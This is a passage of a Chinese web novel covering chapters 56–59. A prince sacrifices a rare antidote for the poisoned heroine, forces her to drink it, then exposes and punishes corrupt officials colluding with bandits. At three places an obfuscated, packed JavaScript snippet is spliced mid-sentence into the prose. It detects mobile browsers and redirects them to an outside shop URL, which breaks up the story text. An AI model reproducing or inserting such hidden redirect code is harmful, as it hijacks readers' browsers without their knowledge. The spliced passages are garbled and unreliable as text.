“忍一忍,会没事的。”穆衍温声安抚她,却也只是徒劳。 他们找了间靠里边干净些的屋子暂且安顿,穆衍将刺杀中毒之事长话短说讲了一遍。 “上次我问她,她说是做点心的时候不小心割到手了。”青玉方看着江沁月掌心上那道疤,暗骂自己当时为何不多问两句。 “关于此毒,青神医可有头绪?可还有办法解毒?” 青玉方微蹙着眉不说话。 “……那能否暂且压制毒性,缓解一下毒发之痛?” 若是听这三言两语便能想出法子解毒,那青玉方就不止是神医,已经奔着神仙去了。 要在这荒山野岭间配出药,穆衍亦觉得自己是在强人所难。 “我先施针试试,看能不能缓解疼痛。”青玉方打开药箱取出银针,“劳烦殿下稍微按着沁月一些,不然我不好下针。” 穆衍让江沁月平躺在自己膝头上,压制住了她因为疼痛而不安分乱动的手脚,青玉方也在几个穴位上快速下了针。 好在施针是有用的,江沁月感觉身上松快了很多,还朝青玉方笑了笑。 青玉方一点也笑不出来,绷着脸道:“这么大的事情,你怎么不跟我说?” “反正也死不了,没必要让你白费心嘛……”江沁月心虚地笑了笑,“而且那人说解药必须七日内服下,早都过了时间了。” “你还笑得出来?没心没肺,”青玉方别开脸去,“被毒死的话小心连全尸都保不住,从内而外烂成一滩泥。” 江沁月嘿嘿一笑,心道肯定不会的,除非她倒大霉得在这个世界过一辈子。 但她很快就笑不出来了。 以针刺之法缓解这毒痛,其实是杯水车薪,见效快,去效也快。 青玉方又重新施了几次针,渐渐地也有些无济于事。 “公子!”踏着夕阳余晖,云霏与云霞推门而入。 与山匪们缠斗了一阵,确定给穆衍三人留够了逃跑时间后,兄妹二人便弃了马车,直接上马甩掉了身后的追兵。 黑风寨的总寨定然就在这附近,援兵源源不断,仅凭他们二人如何杀得干净? 他们顺着穆衍一路留下的隐秘标记找了过来,脸上身上都沾满了不知是哪方的血,看起来骇人极了。 “你们没事吧?伤得严重吗?”穆衍问道。 “没事,一些皮外伤罢了,沾的基本上都是他们的血。”兄妹二人在墙角边靠坐下来,虽然伤得不重,但他们已是筋疲力竭。 青玉方头也没抬:“药箱里有伤药,和纱布放在一起的,你们自己处理一下伤口吧。” 他们这才注意到这边三人情况不妙,云霞一下子坐直了身子:“江姑娘这是怎么了?” “毒发了,药丢了。”穆衍言简意赅,“云霏,地图在你那,你看看我们离义水城还有多远?” 到了城里就能弄到药材,事情便还可转圜。 “今日之内是到不了了,况且这边不大太平,晚上是有宵禁的。”云霏道,“青神医可有什么别的法子?” 云霞看他如白痴一般:“巧妇难为无米之炊。” 反反复复施针几轮,对江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715094|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沁月已经基本上起不到止疼的作用了。 “我没事……撑到明天进了城就好了,没什么的……”颤抖变形的尾音却让她的宽慰显得苍白。 穆衍要去握她的手,却摸到了一手粘腻。 他往下一看,原来是她手臂上不知何时磕破了一道口子,血流下来染红了手掌,看上去触目惊心。 伤口其实不长也不深,但丝毫没有凝固结痂的迹象,只有鲜血在不断渗出,汇成一线蜿蜒而下。 青玉方的脸色更臭了,她取来止血的药粉撒在伤口上,然而无甚作用。 就像水来土掩被和成了稀泥,药粉也被止不住的血浸成了浆糊。 穆衍被湿润的鲜红刺痛了眼,流失的好像不止是她体内的血液,还有脆弱的生命。 他懊恼悔恨,临行前他向她保证会打点好一切,如今却让她落入这般煎熬境地,生死难料。 “……你们这是……什么表情?”江沁月觉得眼前二人看向自己的眼神就像是在看死人一般。 “之前被压制的毒性骤然爆发,只会蔓延得更快更猛,”青玉方寒声道,“我说让你死成一滩烂泥,你以为是在吓你吗?” 江沁月惨兮兮地闭了嘴。 众人皆是一筹莫展,屋里的气氛沉闷极了。 青玉方似是下定了什么决心,斟酌几番后终于开了口:“殿下,其实……眼下还有一个办法。” 穆衍静静地看着她。 “我有九成把握,此法能让沁月痊愈,再不受这奇毒困扰。”她补充道。 “……什么?”穆衍神色微动。 青玉方只说了四个字:“天山雪芝。” 天山雪芝,可生死人肉白骨。 但这是穆衍的救命灵药! 江沁月微弱地提出抗议:“不行!这给我用……简直是,暴殄天物……” 穆衍和青玉方都没有说话。 青玉方看着穆衍低垂的眼眸,心道了一句果然如此。 天山雪芝此时就静静地躺在她的药箱里,平心而论,江沁月现在更需要它。 但她此前已将它赠给了穆衍,到底给谁用,只能凭他定夺。 此物数年难得一见,青玉方也没把握能再寻一株回来。 谁会愿意为了救他人性命,放弃自己难得的生机呢? 何况是金尊玉贵的亲王殿下。 青玉方诊治过的权贵不在少数,他们最不缺的就是钱,最看重的就是命。 或者说,他们最看重的是自己的命,其他人的性命在他们眼中,与蝼蚁无异。 她曾被几个壮汉直接架去了某位贵人府中,那位贵人愿花千金向她讨要一张延年益寿的药方。 她也见过形同槁木的富商老太爷不知从哪里得来邪方,要以童子血入药回阳救逆,便专门从穷人家里买来幼童,说是当家养奴才,实则是放血入药。 那些孩童瘦如鹌鹑,挤住在脏乱逼仄的柴房里,被压榨干净了便弃如敝履,任其自生自灭,死了便再去另外的人家里买孩子。 死道友不死贫道,为求长生不老,这样的事比比皆是。 青玉方也不是榆木脑袋,隐约看得出这位襄王殿下对江沁月是有好感的。 可是女人啊,情爱啊,于他们而言也是不重要的。 当身家性命全系于一物,试问哪位英雄好汉会如此大度,将它拱手让给美人? 大抵只会在日后叹惋一下红颜薄命,唏嘘几语少年情深。 青玉方愁眉不展,冥思苦想是否还有其他两全之法,难道她要这样看着友人凄惨死在自己眼前吗? “给她用吧。”穆衍一如既往的温和沉静,仿佛给出的是什么稀松平常的小玩意。 “殿下!请三思啊!”云霏闻言大惊,一下子站了起来。 青玉方以为自己听错了,怔怔地望着他。 穆衍对云霏的话置若罔闻,墨黑的眼眸一瞬不瞬地凝望着躺在自己膝头同样怔然的江沁月。 “天山雪芝,给她,”他温热的手掌轻覆上她的眼,“一定要救她,保她无虞。” 57. 药石无医亦甘心 视线陷入一片漆黑,穆衍轻飘飘的几个字显得格外清晰,声声入耳。 那么个大宝贝,他说给她用? 她何德何能。 “不用!我忍一忍就好了……我,我可以撑到明天的……” 江沁月急切地想要证明自己并无大碍,挣扎着要起身,却被穆衍揽得更紧了些。 “别乱动。” 江沁月的脸直接贴上了他腰带下面些的微妙位置,一下子就老实地噤了声。 不知道是不是她的错觉,穆衍的身子似乎也僵了一下。 “殿下!”云霏有些急了眼,却欲言又止。 江沁月知道他是想劝穆衍别冲动,又顾忌着自己也听着,不太方便把话挑明。 青玉方出声道:“殿下,我还是有必要提醒你一下,天山雪芝极其难得……” “不必多言,我意已决。”穆衍打断了她的话。 “……即便以后,殿下自己药石无医?” 他何尝不知此药难得?何尝不知这是他难得的生机? “我没了这药,以后也能吊着命,”他平静道,“沁月此时不用,她一定会死。” 穆衍想得很明白。 她救了他两次,告诉他要好好活,他本来就是欠她的。 如果她死在这……不,没有这种如果。 他所畅想的未来里不能没有她的身影。 是,他第一次心动,第一次想要得到、怕会失去一个人。 纵使一厢情愿,他也无法眼睁睁看着她死在自己怀中,放任她永远离自己而去。 老天真是从未厚待于他,他所珍视的一切都像是指尖流沙,越想抓住就越会失去。 穆衍的指尖绞缠着一缕江沁月散落的发丝。 若是永失所爱,何尝不是药石无医? 他今日便要换得她从此无虞。 “青神医,快给她用药吧,莫要再耽搁。”穆衍催促道。 “不要……我说了我不要!”江沁月急得眼泪都要掉下来了。 可是现在没有人会听她的。 得了穆衍的首肯,青玉方将装着天山雪芝的木盒从药箱夹层取出,就要起身向院中走去。 江沁月再也管不了那么多,连遍布每一寸血肉的毒痛也无暇顾及,她强撑着从穆衍身上爬起,一下子扑住了青玉方的脚,抱着她的小腿不撒手。 “玉方!我不用那个!你相信我!”她的脑筋飞速旋转,“对了……对!你之前不是说,天山雪芝药性极其寒凉,要熬上什么……几天几夜才能用吗?那现在给我用也白搭啊!” “给你不必,”青玉方贴心解释道,“我虽不知那奇毒里到底有些什么,但西辽的毒虫草药大多性热,恰能与雪芝的寒性相中和。换言之,天山雪芝算是西辽各种奇毒的万能解药,只是太过难得。” 江沁月再无力辩驳。 究竟还要她怎么说,他们才会相信她真的不会有事? 难道她要自曝身份,说她离开这个世界时就有仙人来替她医治? 他们大抵只会觉得她中毒太深,已经疯了。 穆衍轻易地一把将她捞了回来,低声哄了句“听话”。 江沁月被他紧紧抱在怀里,不自在的禁锢感让她更加激烈地挣扎起来。 “痛!痛啊!!”其实已经痛得有些麻木,但是力量抵不过穆衍,她便只能叫嚷着痛想让他松手。 穆衍一个手刀劈在她肩颈处,接住了她无力瘫软的身体,屋里一下子安静了下来。 “抱歉。”怀中昏迷的女孩听不见他的道歉,也给不了他回应。 睡吧,醒来后就再也不会痛了。 夕阳沉沉,天边只剩最后一缕余晖。 “殿下,药已经处理好了,”青玉方道,“还是等沁月醒了再给她喝吧,别一不仔细呛没了。” 穆衍接过她手中小巧的玉瓶,举世难得的天山雪芝,片刻间便已化作药液。 “好,你们先出去吧。云霏,你和云霞警醒些,多注意周边是否来人。”他将其余几人支了出去。 穆衍下手有分寸,江沁月很快便悠悠转醒。 为了避免暴露行踪,他们并没有生火照明,江沁月费了好一会儿工夫才适应屋里昏暗的光线。 “你醒了?先喝点水吧。”温和的声音在头顶响起。 意识尚未完全回笼,她便感受到一片冰凉贴上了自己的唇。 怕她呛着,穆衍微微屈起她枕着的那条腿,让她坐直了些。 就这样让她无知无觉地喝下去吧。 疯狂叫嚣的剧痛彻底激醒了江沁月,她猛地偏开了头,浑身止不住地颤抖。 “还是没瞒住你,”穆衍轻叹一声,“那就喝药吧,沁月。” “我不要……我不要!那是你的药!唔嗯……” 他执拗地想要将玉瓶送到她唇边,江沁月躲避不及,索性直接将脑袋埋进了他胸口。 微凉的湿意浸透了胸前大片的衣襟,穆衍一下子愣在原地。 她……哭了? “殿下何必为了救我……做到如此地步?我说了……我不会有事……” 她的声音闷闷的,因为疼痛和抽泣,一句话也被她说得断断续续,吐息间又将他胸口染得一片温热。 怎么可能不会有事? 屋里昏黑一片,但穆衍也能隐约看见,自己的掌心又沾染上了粘稠的血液。 是她的血。 “我心甘情愿,沁月。”他轻轻抚上她乌黑的发丝,“乖,喝药吧。” 江沁月没抬起脸,只一味摇头。 她也不知道自己在固执些什么。 其实喝不喝都一样,木已成舟,覆水难收,天山雪芝总归已然化为一抔。 穆衍将她从自己怀里拉开些,垂眸正对上她一双盈盈泪眼。 因疼痛而沁出的薄汗和交错的泪痕在她脸上映出楚楚水色,穆衍心生怜爱,却也更加决绝地把药抵上她的唇。 江沁月铁了心似地紧咬着齿关,瓶中的药液喂不进她口中,倾洒了几滴出去。 她不想喝,不想夺走他的生机,不想建立某种无形的契约。 她不想回家之后日夜难安,午夜梦回时常想起自己亏欠于他。 穆衍无奈极了,她就像是不乖乖吃药的小孩,劝她喝解药比喝毒药还难。 他不能失去她,他一定要救她。 穆衍闭了闭眼,指尖用力捏紧了她的下颌,难以抗拒的力道迫使她张开了嘴。 江沁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733356|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月惊恐地想要向后躲,他的臂膀却封死了她所有的退路。 她退无可退,上方穆衍的面容晦暗不明,斑驳的杂影在他脸上投射出一丝狰狞。 穆衍一手扼住她,一手将药灌进了她口中,动作轻柔却不容抗拒,半滴也没洒出。 那明明是解药,却好像喝下去了才是真正的无可救药。 清凉的液体滑过喉间落入腹中,江沁月知道,一切已成定局。 然而穆衍似乎觉得还不够,他倾身吻住了江沁月的唇。 时间仿佛静止,两人维持着这个姿势,谁也没有进一步动作。 就这样不含丝毫情欲,只是单纯的嘴唇相贴,没有耳鬓厮磨,没有唇齿纠缠。 但穆衍还是品尝到了残留在她嘴唇上的一丝清凉。 这就够了。 过了很久二人才分开,江沁月睫羽轻颤微微睁开眼,却发现他染着淡淡绯红的脸依然近在咫尺。 “怕你把药吐了,”穆衍指腹轻轻划过她的嘴唇,“抱歉,权宜之计,多有冒犯。” 江沁月无暇顾及,因为那不可多得的灵药起效了。 她感到清润的凉意自腹部向四肢百骸蔓延,抚慰了浑身蚀骨剜肉般的剧痛,似是有一股清泉在她经脉间奔涌。 难怪是数年不得一见的珍奇灵药。 江沁月只觉浑身舒爽,头脑清明,整个人是前所未有的容光焕发,恍若再造重塑。 身子一点点好了起来,心却一点点沉了下去。 “好些了吗?”穆衍眉眼间依旧凝聚着几分担忧,不敢完全放心。 江沁月低低“嗯”了一声:“殿下,算我欠你的。” “这毒本就因我而起,沁月,是我欠你的,”穆衍轻声道,“今日就当是还你,我说了,我心甘情愿。” 她没有说话,抬眼看向屋里那扇半开的破烂纸窗。 外面天已黑透,山里的夜风是凉爽的,摇摇欲坠的纸窗被吹得吱呀作响。 她看不见月亮,只能看见映在窗下的稀薄月光。 江沁月第一次产生了动摇—— 她还能回家吗? “嫦娥应悔偷灵药,碧海青天夜夜心。” 江沁月苦笑着呢喃,没有人听清她的低语。 …… 这一夜谁都没有休息好,故而早上又多磨蹭了会儿,一行人才终于上了路。 “今天肯定能进城了,我们这简直是逃难去的。”云霏看了看地图,又看了看太阳的方向。 “总比打仗时好些。”云霞淡声道。 “那可未必!要是有打仗的那些武器装备,我一个人就能把黑风寨老巢端了!”云霏吹着牛皮跟妹妹唱反调。 话虽如此,他们的确是一个赛一个的狼狈。 尤其是云霏和云霞兄妹二人,他们只来得及将皮肤上的血迹清洗干净,衣服上满是大片血液干涸后留下的棕褐色。 实在是没有办法,他们的行李全被落在了马车上,马也只剩下了一匹。 仅存的这匹马自然是让给了江沁月这个大病初愈的人骑着。 虽说笑打趣着,众人却也担心再遭遇上黑风寨那群难缠的山匪。 好在一路上风平浪静,义水的城门终于遥遥可见。 58. 在劫难逃现威仪 江沁月一路上都心不在焉地沉默着,眼见就要到义水城了,面上也毫无喜色。 经过昨夜,好像有什么事已经无可挽回。 她迫切地想联系上漆桐,想要向她确认一些事情,可始终找不到合适的机会。 义水城门前行人寥落,完全比不得京城的车水马龙。 这也难怪,此地地处偏僻,又深受周围黑风寨的山匪困扰,来来往往的人自然少。 城门前的守卫见迎面走来的一行人身上或多或少都带着血,立刻打起了十二分精神。 “慢着!进城盘查。”领头的率先拦住了他们,接过他们的身份文牒,装模作样地细细察看起来。 穆衍面不改色地胡诌解释:“我与夫人回乡探亲,恰好遇到青神医相救,我夫妇二人感念其恩德顺路送她到义水,谁知昨天遇着了山匪,好不容易才逃出生天……” 那人没耐心听,或者根本不在意他说了什么。 “两男三女,有一对很是厉害的双生兄妹……宋衙吏要抓的就是他们吧?快把他们拿下!” “什么意思?你凭什么抓我们?!”云霏一下子炸了毛。 从昨天到今天可谓是相当不容易,结果还没进城就要被抓起来,这能跟谁说理去? 那领头的守卫上下打量他一眼:“昨儿个才下的通缉令,你们有什么要狡辩的,就到衙门里说去吧!” 云霏还想和他们掰扯掰扯,被穆衍用眼神制止了。 与这些守卫起冲突并不是明智的选择,若是闹到最后对官兵动了手,那可不好收场。何况他们现在手无寸铁,还是静观其变为好。 于是一行人就这样被押解进了府衙的监狱里。 守卫将他们关进牢房后,还顺便将云霏和云霞两人五花大绑,匆匆离开后只留下共患难的五人干瞪着眼面面相觑。 “公子,我们就这样束手就擒吗?”听着那几人脚步声渐渐消失,云霏急切地看向穆衍。 穆衍处变不惊,寻了个干净的角落就地坐下:“先别急,跟他们说也没用,等下令抓我们的人过来。” 这变故来得突然,江沁月的小小愁绪早已荡然无存,本来有些不安,但看见穆衍淡然的神情后也心定了几分。 慌什么?在场诸位谁不是第一次坐牢,连堂堂亲王都搁这儿蹲着,也是新鲜事一桩了。 所幸他们并没有等太久。 “你快看看,昨天是这几个人吗?” 一个文雅阴柔作书生打扮的年轻人带人向这边走来,其中站在他身边的那个,在场诸位是眼熟得很。 刀疤脸看清牢里众人后大喜过望:“大人神机妙算,就是他们几个!” 宋衙吏笑得很是得意。 昨日刀疤脸带人走了老半天也没回来,黑风寨大当家的坐不住了,亲自带人追了出去。 都是一条绳上的蚂蚱,宋衙内也一起跟了上去,结果到了地方只看见满地横七倒八的尸体,人早已不知去向。 刀疤脸靠装死躲过一劫,他从死人堆里爬了起来,踉踉跄跄地跑来颤着声控诉: “大当家,我们实在是打不过啊!那两人弄死我们跟砍瓜切菜一样!” 大当家骂了几句粗话,便要带人继续追,宋衙吏连忙拦了下来。 那几人弃了马车逃跑,他笃定他们一定会到义水城里去,只要进了城,那解决他们便是瓮中捉鳖般的轻松。 “都说了让大当家放心就好,方圆百里之内,他们可找不到义水之外的第二个去处。” 见此情景,江沁月一行人也明白了,这官匪勾结已深,怕是不把他们解决掉就不肯罢休了。 实在是胆大包天,猖狂至极! 宋衙吏也不再多废话:“行了,人给你们处理还是我们处理?” “宋大人请自便,我先回去向大当家复命去了。” 刀疤脸瞥了眼后面整整齐齐站成一排的衙役,料想着事情也不会再有差池,说罢便转身先一步离去。 “动手吧。”这带人来的小官从头到尾就没跟江沁月他们说过一句话,甚至不曾仔细看他们一眼。 衙役们打开了牢门,几人守在门口持刀而立,几人走进来掏出了提前备好的麻绳。 看来是想勒死他们。 “黑风寨的人走了,有些话我就直说了,”穆衍道,“你知道你现在干的是杀头的勾当吗?” 他起身走到门口站定,直直地盯着那宋衙吏。 “富贵险中求嘛,贵人你不必多言,说什么也不会放你们离开的,”宋衙吏硬着头皮道,“只能怪你们自己不长眼,偏要向此处来。” 一对上穆衍的眼神,他便知道这次是真惹上不该惹的人了。 事已至此,那便更不能放过他们。 “我知道你在想什么,可你当真以为,你能这般悄无声息地解决掉我们?” 穆衍从袖中取出一样东西,冷声道:“睁大你的狗眼好好看清楚,本王到底是什么人!” 他手上拿着的,赫然是彰显皇室身份的金镶玉亲王令牌。 令牌上的刻字端正遒劲,寥寥数字,宋衙吏却像是看不明白似的,半晌没反应过来。 “大胆!见到襄王殿下还不行礼?”见他似乎还想将令牌接过去瞧个明白,云霏呵斥道。 宋衙吏浑身一抖,忙跪倒在地叩首行礼:“拜……拜见襄王殿下。” 他声音不大,带着几分犹疑的不确定。 他以为他们招惹上的顶多是个世家子弟,谁知道竟然是皇室宗亲?! 义水纵然处在消息闭塞的偏僻地界,他们也不可能没听闻过襄王征战西辽的赫赫威名。 可倘若真是襄王殿下,为何会到他们这穷乡僻壤的地方来? 宋衙吏匍匐在地,只看得到穆衍沾着些血污破损的衣摆,他静静伫立着,自己也僵着身子不敢动,直到腿都跪麻了,才听他淡淡说了一句: “起来吧。” 闻言宋衙吏暗自松了口气,起身后却也微躬着身子不敢站直。 “殿下贵步临贱地,可是有什么要紧的事?”他小心翼翼地试探道。 穆衍睨他一眼:“你是什么人?” “下官宋腾,是义水府衙上的衙吏……”他忽然想到什么,连忙止住了话头,“是下官多嘴,望……望殿下恕罪!” 宋腾说着自己抽了自己两耳光,不敢再质疑眼前之人身份真假。 那令牌是否作假暂且不提,这人周身上下透出的矜贵气度和万千威仪,岂是一朝一夕就能模仿得来? “本王应该没有义务向你汇报行踪。” 宋腾连连称是,两股战战差点又要跪下。 他深感事态已远超自己控制,转头吩咐人去将上官请来。 穆衍语气中透出几分不耐:“你确定要本王继续呆在这儿跟你们说话?要不要上几道刑,验一验本王说的是真话还是假话?” 宋腾揩着满头冷汗连声道不敢,将一行人请进了府衙偏厅歇息,又亲自去请了上官前来。 穆衍坐在主座上,默不作声地打量着下面跪伏在地的两人。 那位上官自报家门时说,自己是义水的县令。 见他生的是肥头大耳,想必为官这些年来是捞了不少油水。 能纵容黑风寨壮大至此,整个义水官府定也是从上而下从内到外烂了个彻底。 穆衍悠悠道:“本王回封地运了些藏书典籍去京城,顺便送恩人到义水来,却是没想到差点连命都搭在这儿了。” 下面跪着的那两人像锯嘴葫芦似的一声不吭。 穆衍冷哼一声,起身走到二人面前,将令牌举到他们面前,正面的刻字背面的雕花,让他们瞧了个真真切切。 “你们可看仔细些,看清楚些,看看这究竟是真是假!”穆衍收回令牌,“啊,或许你们也不在意,怕是陛下来了,也要成为这荒郊野岭的孤魂野鬼!” “下官惶恐!下官不敢!” “本王劝你们最好收起那些歪心思,我已飞鸽传书回京,将此地情况如实告知,不如你们猜一猜,这封信是会到太子殿下手里,还是会直接到圣上手里?猜一猜本王若是死在这,会不会有人来替本王收尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762660|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 地上二人已是抖如筛糠,说不出半句话来。 “怕什么?或者你们要不要赌一赌,我到底是不是襄王,”穆衍拂袖回到主座前坐下,“只要你们愿意承担赌输了的结果。” “殿下饶命!殿下饶命!”那县令狗爬到穆衍脚边,被他嫌弃地一脚踹开。 穆衍道:“官匪勾结至此,尔等早已是死罪,谋害皇室宗亲更是罪加一等,当处以凌迟极刑,株连九族。” 那县令连连磕头告饶,而那个叫宋腾的衙吏更是直接被吓得尿了裤子。 “你们可得想清楚了,放我等离开平安抵京,本王保证祸不及家人。至于你们是什么罪,京中来人自会定夺。” 穆衍言尽于此,厅中顿时陷入一片死寂。 那宋腾像是被吓出了失心疯,只见他忽然暴起,口中一边念着“不关我事”,一边连滚带爬地向门外奔去。 云霞一把将他捉了回来,扔到了穆衍跟前:“殿下,怎么处理?” 穆衍随手从一边的架子上抽出一把剑,用剑尖挑起了宋腾的下巴。 “差点忘了,在朝廷派人来之前,若有意图独自或携亲眷逃跑者,只会有一个下场。” “我再也不敢了,再也不敢了!殿下饶……” 不等他说完,长剑下移寸许,直直地贯穿了他的咽喉。 穆衍拔出剑掷在一旁,看向呆愣的县令:“明白了?” …… 翌日一早,江沁月和穆衍、云霞三人已然出了城。 那县令迫切地想要戴罪立功,派人将穆衍他们的马车寻了回来,而云霏被穆衍暂时留在了义水,一来保护青玉方的安全,二来监视情况,防止在朝廷来人前再生变故。 “殿下,昨日我就想问了,你真的传信给太子殿下了吗?什么时候的事?”在义水城中江沁月总怕隔墙有耳露了破绽,便一直没开口问。 “当然没有,唬他们的罢了。”穆衍从袖中摸出一张叠得四四方方的信纸递给她,“本就是打算回京再处理的。” 江沁月打开一看,上面密密麻麻的字迹娟秀工整,行文末端按着一枚红指印。 原来是前几日陈夫人写下的状纸,字里行间无不在控诉黑风寨的恶行与官府的不作为。 “本来想让云霏、云霞他们去处理就好,但眼下我有了别的打算。”穆衍道,“反正昨日也那样说了,不如就做个顺水人情,真将此事交给太子那边办得了。” “顺水人情?”江沁月一头雾水,这不是给人没事找事吗?剿匪什么的再怎么样也不需要穆灼来管吧? 穆衍笑了笑,一手支在马车里的小几上,又招手示意江沁月靠近些,与她咬耳朵讲起了其中利害。 “我是太子殿下的堂兄,亦与他私交甚笃。尽管我几乎不问政事,但在外人眼中,我自然是与他一党的人,这点你应是明白的。” 江沁月点点头。 “若我将匪患一事上报给朝廷,必会被有心之人发现我违抗禁足令偷溜出去的事,此事若被搬上台面,那便不好收场了。” “哪怕之后剿匪成功算我功劳一件,其实于我而言也无甚用处。” “哦!我懂了!”江沁月接着分析起来,“若是将匪患交给太子殿下处理,殿下便可以避免暴露自己违令之事,剿匪的功劳也更有利于太子殿下笼络民心,进一步提升威望,毕竟太子殿下他……咳,得位可能稍微有那么点点……不光彩。” 她不拿穆衍当外人,私下里对同样诞生于自己笔下的穆灼也没什么敬畏之心,说话便口无遮拦了些。 不过议论太子得位不正……这确实有点大逆不道了。 “沁月一点就通,但这话可千万别拿到外面去说。”穆衍笑了笑,伸出食指点上了她的唇。 江沁月不方便再开口,便眨巴着眼睛用力点点头。 待到他收回手,她还是没忍住强词夺理道:“我拿殿下当自己人,才敢说这些话的……” 穆衍笑意更深:“好了,不提这些陈年旧事,接着说说这顺水人情,可不止功劳一件这么简单。” 59. 浅吻知心难自如 江沁月洗耳恭听,她是想不出这顺水人情还能如何托大了。 穆衍也不再故弄玄虚卖关子,轻描淡写地提点道:“义水归青州管,沁月你应当知道,青州如今归谁管。” 江沁月恍然大悟,如今的青州刺史,不就是曾经权倾朝野的李相吗? 她了然道:“所以我们可以借题发挥,将李刺史拖下水,再借机挫一挫李家的锐气?” “可不是拖他下水,他本就不是什么无辜之辈。”穆衍端起瓷盏呷了口茶,“黑风寨能猖獗至此,自然是因为整个青州的地方官员沆瀣一气,山匪孝敬县官,县官孝敬州官,互相勾结使得百姓状告无门,瞒得一丝不漏,朝廷也收不到半点风声。” “他身为一州长官,岂能置身事外,把自己撇个干干净净?” “究竟要如何处置,就看太子那边的意思吧,”穆衍把茶盏重重地搁在案上,“不过李家早已是陛下与太子的眼中钉,他们不可能轻易放过的。” “往小了说,是他监管不力尸位素餐;往大了说,是他隐瞒不报意图谋反。贬官、革职,甚至杀头,总不会便宜了他。” 江沁月听明白了,若有所思道:“赶尽杀绝应该不是太子殿下惯用的手段。” “你还挺懂他?”穆衍挑眉看她。 江沁月被噎了一下,她到这里之后与穆灼本人没什么交集,按理来说她应该是不懂的。 但她是穆灼的作者亲妈啊! 她选择直接略过这个问题:“唔……事已至此,殿下若是想将李家斩草除根,何不亲自动手查办此事?” 穆衍没有马上接话,他低眸不语,修长的手指在案几上毫无节律地敲打着。 江沁月立刻意识到自己失言,有些惴惴不安起来。 穆衍再怎么好脾气,也不该如此与他妄议政事,还频出大逆不道之言。 “沁月,你觉得我是那般心狠手辣之人?” 江沁月怔了一下,没想到他会这样问。 “我只是不想掺和这些朝堂上的尔虞我诈,”穆衍哂笑一声,“此生我福浅命薄,只求独善其身,实在不愿再自寻烦恼。” 江沁月闻言心里有些难受,她已经很久没见他如此自怨自艾过了。 “我明白的,我没有觉得殿下心狠手辣。”她忙道。 此情此景之下,这话听起来却显得有几分违心。 她斟酌着多说了几句:“只是殿下一向最是温和,我没怎么见过殿下发火,昨日殿下震慑住了那些人,还杀鸡儆猴,把我也吓了一跳。” “对付那些狗官,自然要用些雷霆手段。” 江沁月认同地点点头:“是啊,仔细想来,殿下若不那样做,只怕我们连命都没了。” 默然片刻,穆衍忽然问道:“沁月,你是不是……很害怕我杀人?” 他想起来了,上次他杀了李岱之后,她也是这样惶惑不安的样子。 穆衍有些庆幸在永宁寺时她没看见那刺客凄惨的死状,也庆幸她目睹杀人时这两人都被杀得干净利落。 否则他不敢想,她会怎么想他。 “不是的,我知道殿下不会滥杀无辜,也从不以权势压迫他人,”江沁月矢口否认,“是他们该死,自作自受。” 她又不是菩萨转世的慈悲心肠,连这些为非作歹之徒的死都要同情。 江沁月本就心烦意乱,再这样论下去恐怕没完没了,说罢便借口困倦,倚在软垫上闭眼假寐起来。 回程这一路可谓是历经坎坷,令她心烦的又何止这一两件事? 长久的相处下来,江沁月早已明白,她不如自己所想的那般了解穆衍。 她其实从来都不知道,穆衍真正想要的究竟是什么。 …… 从义水回京城,他们这一路走得很快,以防夜长梦多横生枝节。 临近京城后,他们终于踏上了宽阔平坦的官道,不必再在崎岖山路间蜿蜒穿行。 “殿下、江姑娘,我们马上就要到了。”云霞一向冷淡的声音也难得带上了几分雀跃。 穆衍正支着脑袋小憩,江沁月便应了一声,撩开车帘探头向前方看去。 他们此刻行在一处山坡上,夜幕已降临,京城是大梁最繁华之所在,万家灯火辉煌如昼,天边似乎也被映出淡淡的暖光。 恍惚间江沁月竟然有一种回家的安心感,尽管这里没有她的家。 她放下帘布,微不可察地轻叹一声。 马车里也点了灯,却算不上明亮,江沁月就着昏黄的烛光,静静凝望着穆衍沉静的睡颜。 离开不过两月,再回到京城时,她却有种恍如隔世的感觉。 是她的心变了。 为什么呢?为什么他要待她这般好? 江沁月回想起过去两月的点点滴滴,觉得更像是一场梦。 却又无比清晰。 她记得去楚阳的一路上,穆衍甜言蜜语地哄着她,亲昵自然得仿佛他们真是一对夫妻。 她记得泓湖的残阳荷香,记得那个荒唐的夜里他迷离的眼,以及那个更加旖旎的梦。 如今想来,彼时自己是否也隐隐期盼着,能真的发生点什么? 她也记得他那样轻易地就将生机让给了她,说哪怕自己药石无医也心甘情愿。 何至于此? 他若是知道此生苦难大多来源于她,若是知道她会离开这个世界,会不会后悔为她做了这么多? 江沁月自嘲地笑了笑,眼神却未从穆衍脸上移开半分。 她用目光细细描摹眼前人的眉眼,希望能将心上人的模样深深刻印进脑海中。 